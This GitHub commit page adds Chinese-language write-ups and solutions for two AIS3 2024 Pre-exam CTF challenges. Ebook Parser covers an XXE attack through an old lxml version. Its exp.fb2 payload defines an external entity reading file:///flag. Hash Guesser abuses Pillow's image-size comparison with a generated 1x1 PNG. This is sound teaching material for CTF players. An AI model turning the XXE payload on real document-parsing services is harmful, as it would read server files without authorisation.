Skip to content

Commit

Permalink
add: AIS3 2024 Pre-exam / MyFirstCTF 2024 challenges
Browse files Browse the repository at this point in the history
- ebook-parser
- hash-guesser
  • Loading branch information
t510599 committed May 27, 2024
1 parent 3af5907 commit fac6a42
Show file tree
Hide file tree
Showing 10 changed files with 223 additions and 0 deletions.
46 changes: 46 additions & 0 deletions AIS3 Pre-exam/2024/ebook-parser/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Ebook Parser
- Tags: `Web` `Easy`
- Score: 480/500
- Solves: 35/321
- Solves (MyFirstCTF): 0/101

## Description
I made a simple ebook parser for my ebook collection. Can you read the flag?
*Flag path: `/flag`*

## Overview
EPUB / FB2 格式中有 XML
Dependency Auditing -> 舊版 lxml -> XXE

## Solution
`app.py` 的功能非常簡單,僅透過 `ebookmeta.get_metadata` parse 電子書的 metadata 之後,回傳標題、作者跟語言。

查看 [dnkorpushov/ebookmeta](https://github.com/dnkorpushov/ebookmeta) 可以發現其支援 EPUB 2/3 與 FB2 (Fiction Book) 兩種電子書格式。
另外也可以看到其 [Requirements](https://github.com/dnkorpushov/ebookmeta?tab=readme-ov-file#requirements) 有 lxml。

接著再檢查 `requirements.txt` 發現 lxml 是有點舊的版本 `4.9.1 (2022-07-01)`,可能可以做 [XXE 攻擊](https://portswigger.net/web-security/xxe)
並且再檢查 library code ([ebookmeta/fb2.py#L32](https://github.com/dnkorpushov/ebookmeta/blob/master/ebookmeta/fb2.py#L32)) 可發現其使用的是危險的 `lxml.etree`,且並未

### FictionBook
查看 [FictionBook 檔案格式官網](http://fictionbook.org/index.php/FictionBook) 可得知其基本上是個 XML。
先用任一款電子書編輯器做一個簡單的 `.fb2` 檔案,再將標題/作者/語言任一欄位替換成指到 `/flag` 的 External Entity 即可。
[參考 exploit](sol/exp.fb2)

### EPUB
查看 [EPUB 3.3](https://www.w3.org/TR/epub-33/#sec-package-doc) 可得知 EPUB 是一個 ZIP 包含所需檔案,以及其 metadata 是 XML。
metadata 位於 `META-INF/container.xml` 中所指定的 [OPF](https://idpf.org/epub/20/spec/OPF_2.0_latest.htm) 檔案中。
先用任一款電子書編輯器做一個簡單的 `.epub` 檔案,再將標題/作者/語言任一欄位替換成指到 `/flag` 的 External Entity 即可。
[參考 exploit](sol/exp.epub)

## Flag
<details>
<summary>Spoiler</summary>

`AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}`

</details>

---

賽中打到一半突然冒出了這個 [issue](https://github.com/dnkorpushov/ebookmeta/issues/16) 直接把解都打出來了
而且 dependency version lock 在相同版本 ~~是不是有人找外援~~
Binary file not shown.
Binary file added AIS3 Pre-exam/2024/ebook-parser/sol/exp.epub
Binary file not shown.
28 changes: 28 additions & 0 deletions AIS3 Pre-exam/2024/ebook-parser/sol/exp.fb2
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name>Flag</first-name><last-name>Holder</last-name></author>
<book-title>Give Me Flag</book-title>
<lang>&ent;</lang>
</title-info>
<document-info>
<author><first-name>Flag</first-name><last-name>Holder</last-name></author>
<program-used>calibre 7.9.0</program-used>
<date>27.4.2024</date>
<id>0eb8ce1f-e81d-4f74-b319-2c9da8c46128</id>
<version>1.0</version>
</document-info>
<publish-info>
<year>0101</year>
</publish-info>
</description>
<body>
<section>
<p><strong>Give Me Flag</strong></p>
</section>
</body>

</FictionBook>
55 changes: 55 additions & 0 deletions AIS3 Pre-exam/2024/hash-guesser/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# Hash Guesser
- Tags: `Misc` `Easy`
- Score: 492/500
- Solves: 23/321
- Solves (MyFirstCTF): 0/101

## Description
I have a hash for you, can you guess it?

## Overview
`ImageChop` 取 min(size) 來做 difference + `util.is_same_image` 沒有檢查 size
Turnstile (Captcha) 是提示不需要 bruteforce

## Solution
題目每次會隨機生成一個 hash 並轉成 16x16 的圖片,解題者需要上傳一張"相同"圖片來得到 flag。
前端並不會拿到生成的 hash 相關資訊,因此只能用猜的。

而此題的漏洞與 `util.is_same_image` ([chal/util.py#L3-L4](chal/util.py#L3-L4)) 有關。
裡面呼叫了 `ImageChops.difference(img1, img2).getbbox()` 來比較兩張圖片,若回傳 None 則代表兩張圖片沒有差異。

第一眼可能會想,若兩張圖片大小不同,這個 function 會回傳什麼呢?
這題可以透過拿不同尺寸的圖片做實驗,或是如以下翻閱 Pillow 的實作。

### Dig into Pillow (libImaging) Source Code
可查看 [ImageChops Module - Pillow Docs](https://pillow.readthedocs.io/en/stable/reference/ImageChops.html#PIL.ImageChops.difference) 得知其對應的底層 C code ([src/libImaging/Chops.c#L90-L93](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L90-L93))。

其中裡面的 `CHOP` macro 是這樣 alloc 輸出的 image:
[src/libImaging/Chops.c#L24](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L24)
```c
imOut = create(imIn1, imIn2, NULL);
```

觀察其中的 `create`:
[src/libImaging/Chops.c#L74-L75](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L74-L75)
```c
xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize;
ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize;
```
可以發現 `imOut` 的 size 會是 `(min(im1->xsize, im2->xsize), min(im1->ysize, im2->ysize))`,也就是兩張圖片取重疊的部分。

### Exploit
若上傳 1x1 的圖片,實際上在做 difference 的只有一個 pixel。

[chal/app.py#L31](chal/app.py#L31) 可以看到每個 pixel 只有兩種可能的顏色 (`0x00``0xFF`)。
因此猜中的機率是 1/2,隨手造一個 1x1 的白色或黑色圖片,多猜幾次即可得到 flag。

可參考 [solve.py](sol/solve.py) 來造 1x1 的 PNG。 (其實不用這麼麻煩,用 Pillow 就好了)

## Flag
<details>
<summary>Spoiler</summary>

`AIS3{https://github.com/python-pillow/Pillow/issues/2982}`

</details>
Binary file not shown.
90 changes: 90 additions & 0 deletions AIS3 Pre-exam/2024/hash-guesser/sol/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
import zlib
import binascii

from enum import Enum

PNG_MAGIC = b'\x89PNG\r\n\x1a\n'
PNG_IHDR = b'IHDR'
PNG_IDAT = b'IDAT'
PNG_IEND = b'IEND'

class PNGIHDREnum(Enum):
def to_bytes(self):
return self.value.to_bytes(1, 'big')


class PNGColorType(PNGIHDREnum):
GRAYSCALE = 0
TRUECOLOR = 2
INDEXED_COLOR = 3
GRAYSCALE_ALPHA = 4
TRUECOLOR_ALPHA = 6


class PNGFilter(PNGIHDREnum):
NONE = 0
SUB = 1
UP = 2
AVERAGE = 3
PAETH = 4


class PNGInterlace(PNGIHDREnum):
NONE = 0
ADAM7 = 1


class PNGCompression(PNGIHDREnum):
DEFLATE = 0


def create_chunk(chunk_type, data=b''):
return len(data).to_bytes(4, 'big') + chunk_type + data + binascii.crc32(chunk_type + data).to_bytes(4, 'big')


def create_header(
width, height,
bit_depth=8,
color_type=PNGColorType.GRAYSCALE,
compression=PNGCompression.DEFLATE,
filter_method=PNGFilter.NONE,
interlace_method=PNGInterlace.NONE
):
data = width.to_bytes(4, 'big') + height.to_bytes(4, 'big') + \
bit_depth.to_bytes() + color_type.to_bytes() + \
compression.to_bytes() + filter_method.to_bytes() + interlace_method.to_bytes()

return create_chunk(PNG_IHDR, data)


def create_idat_filter_none(width, height, data):
scanline_size = width + 1
scanline = b'\x00' + data[:scanline_size]
filtered_data = bytearray(scanline)

for i in range(scanline_size, len(data), scanline_size):
scanline = data[i:i + scanline_size]
filtered_data.append(0)
filtered_data.extend(scanline)

return bytes(filtered_data)


def create_png(width, height, data):
idat = create_idat_filter_none(width, height, data)
idat = zlib.compress(idat, level=0)

return PNG_MAGIC + \
create_header(width, height) + \
create_chunk(PNG_IDAT, idat) + \
create_chunk(PNG_IEND)


with open("solve0.png", "wb") as f:
im = create_png(1, 1, b'\x00')
f.write(im)


with open("solve255.png", "wb") as f:
im = create_png(1, 1, b'\xff')
f.write(im)
Binary file added AIS3 Pre-exam/2024/hash-guesser/sol/solve0.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added AIS3 Pre-exam/2024/hash-guesser/sol/solve255.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# My CTF Challenges

## AIS3 2024 Pre-Exam / MyFirstCTF 2024
- [Ebook Parser](AIS3%20Pre-Exam/2024/ebook-parser) (`Web` `Easy`)
- [Hash Guesser](AIS3%20Pre-Exam/2024/hash-guesser) (`Misc` `Easy`)

## HITCON CTF 2023
- [Not Just usbpcap](HITCON%20CTF/2023/Not%20Just%20usbpcap) (`forensics`)

Expand Down

0 comments on commit fac6a42

Please sign in to comment.